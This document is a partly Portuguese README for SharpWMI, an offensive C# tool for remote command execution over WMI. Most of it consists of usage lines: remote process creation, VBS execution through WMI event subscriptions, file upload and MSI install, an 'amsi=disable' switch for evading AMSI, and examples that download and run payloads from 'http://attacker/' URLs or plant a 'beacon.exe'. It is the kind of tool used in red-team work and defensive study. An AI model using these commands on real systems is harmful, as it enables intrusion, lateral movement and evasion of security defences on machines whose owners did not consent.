
SharpWMI é uma implementação em C# de várias funcionalidades do WMI.
SharpWMI é uma implementação em C# de várias funcionalidades WMI. Isso inclui consultas WMI locais/remotas, criação remota de processos através de win32_process e execução remota de VBS arbitrário através de subscrições de eventos WMI. Credenciais alternativas também são suportadas para métodos remotos.
@harmj0y é o autor principal.
SharpWMI é licenciado sob a licença BSD 3-Clause.
Local system enumeration:
SharpWMI.exe action=query query=""select * from win32_service"" [namespace=BLAH]
Remote system enumeration:
SharpWMI.exe action=query [computername=HOST1[,HOST2,...]] query=""select * from win32_service"" [namespace=BLAH]
Remote system Logged On users enumeration:
SharpWMI.exe action=loggedon [computername=HOST1[,HOST2,...]]
Remote process creation:
SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true]
Remote VBS execution:
SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs]
File upload via WMI:
SharpWMI.exe action=upload [computername=HOST[,HOST2,...]] source=""C:\\source\\file.exe"" dest=""C:\\temp\\dest-file.exe"" [amsi=disable]
Remote firewall enumeration :
SharpWMI.exe action=firewall computername=HOST1[,HOST2,...]
List processes:
SharpWMI.exe action=ps [computername=HOST[,HOST2,...]]
Terminate process (first found):
SharpWMI.exe action=terminate process=PID|name [computername=HOST[,HOST2,...]]
Get environment variables (all if name not given):
SharpWMI.exe action=getenv [name=VariableName] [computername=HOST[,HOST2,...]]
Set environment variable:
SharpWMI.exe action=setenv name=VariableName value=VariableValue [computername=HOST[,HOST2,...]]
Delete an environment variable:
SharpWMI.exe action=delenv name=VariableName [computername=HOST[,HOST2,...]]
Install MSI file:
SharpWMI.exe action=install [computername=HOST[,HOST2,...]] path=""C:\\temp\\installer.msi"" [amsi=disable]
NOTE:
- Any remote function also takes an optional ""username=DOMAIN\\user"" ""password=Password123!"".
- If computername is not specified, will target localhost.
A opção result=true em action=exec (alternativamente action=create) faz com que o SharpWMI retorne a saída do comando após a criação remota do processo WMI. Funciona armazenando a saída do comando numa instância de um objeto WMI arbitrário. Esse objeto é então recuperado pelo chamador e restaurado ao seu valor original.
A ação executevbs foi reformulada em comparação com a versão original do SharpWMI. A especificação do script definida em [script-specification] oferece os seguintes métodos para apontar esta ferramenta para o código VBS alvo:
A) Executes OS command via preset VBS code:
SharpWMI.exe action=executevbs [...] command="notepad.exe"
B) Downloads Powershell commands from URL and execute them from within VBS via Powershell's StdIn:
SharpWMI.exe action=executevbs [...] url="http://attacker/myscript.ps1"
C) Download a binary file from given URL, store it in specified path and then execute it:
url="SOURCE_URL,TARGET_PATH"
SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe"
D) Download a binary file from given URL, store it in specified path and then execute arbitrary command:
url="SOURCE_URL,TARGET_PATH"
SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe" command="%TEMP%\bar.exe -some -parameters"
E) Read VBS script from file and execute it:
SharpWMI.exe action=executevbs [...] script="myscript.vbs"
F) Execute given VBS script given literally:
SharpWMI.exe action=executevbs [...] script="CreateObject(\\"WScript.Shell\\").Run(\\"notepad.exe\\")"
G) Base64 decode input string being encoded VBS script and execute it on remote machine:
SharpWMI.exe action=executevbs [...] scriptb64="Q3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIi[...]"
H) Read contents of given file, base64 decode them and then execute on target machine:
SharpWMI.exe action=executevbs [...] scriptb64="myscript.vbs.b64"
Finally, 'executevbs' action may have additional [time-specs] defined in seconds - they specify script trigger and wait timeouts:
SharpWMI.exe action=executevbs [...] trigger=5 timeout=10
SharpWMI.exe action=query query=""select * from win32_process""
SharpWMI.exe action=query query=""SELECT * FROM AntiVirusProduct"" namespace=""root\\SecurityCenter2""
SharpWMI.exe action=loggedon computername=primary.testlab.local
SharpWMI.exe action=query computername=primary.testlab.local query=""select * from win32_service""
SharpWMI.exe action=query computername=primary,secondary query=""select * from win32_process""
SharpWMI.exe action=exec computername=primary.testlab.local command=""powershell.exe -enc ZQBj...""
SharpWMI.exe action=exec computername=primary.testlab.local command=""whoami"" result=true amsi=disable
SharpWMI.exe action=executevbs computername=primary.testlab.local command=""notepad.exe"" eventname=""MyLittleEvent"" amsi=disable
SharpWMI.exe action=executevbs computername=primary.testlab.local username=""TESTLAB\\harmj0y"" password=""Password123!""
SharpWMI.exe action=upload computername=primary.testlab.local source=""beacon.exe"" dest=""C:\\Windows\\temp\\foo.exe"" amsi=disable
SharpWMI.exe action=terminate computername=primary.testlab.local process=explorer
SharpWMI.exe action=getenv name=PATH computername=primary.testlab.local
SharpWMI.exe action=setenv name=FOO value=""BAR"" computername=primary.testlab.local
SharpWMI.exe action=delenv name=FOO computername=primary.testlab.local
SharpWMI.exe action=install computername=primary.testlab.local path=""C:\\temp\\installer.msi""
Obter informações de estilo netstat TCP local de uma máquina Windows 10 remota:
SharpWMI.exe action=query computername=COMPUTER query="Select LocalPort,OwningProcess from MSFT_NetTCPConnection" namespace="ROOT\StandardCIMV2"
Não planeamos lançar binários para o SharpWMI, então terá que compilar você mesmo :)
O SharpWMI foi construído para .NET 3.5 e é compatível com Visual Studio 2015 Community Edition. Basta abrir o projeto .sln, escolher "release" e compilar.
| Contribuição | Autor |
|---|
| Implementação original do SharpWMI | Will Schroeder @harmj0y |
| Ideia de saída de execução de código WMI | Evi1cg @Ridter |
| Código de evasão AMSI retirado do SharpMove | Steven Flores 0xthirteen |
| Melhorias, flexibilidade VBS, upload de ficheiros | Mariusz B. / mgeeky @mariuszbit |
| Instalar ficheiros MSI | Justin Bui @slyd0g |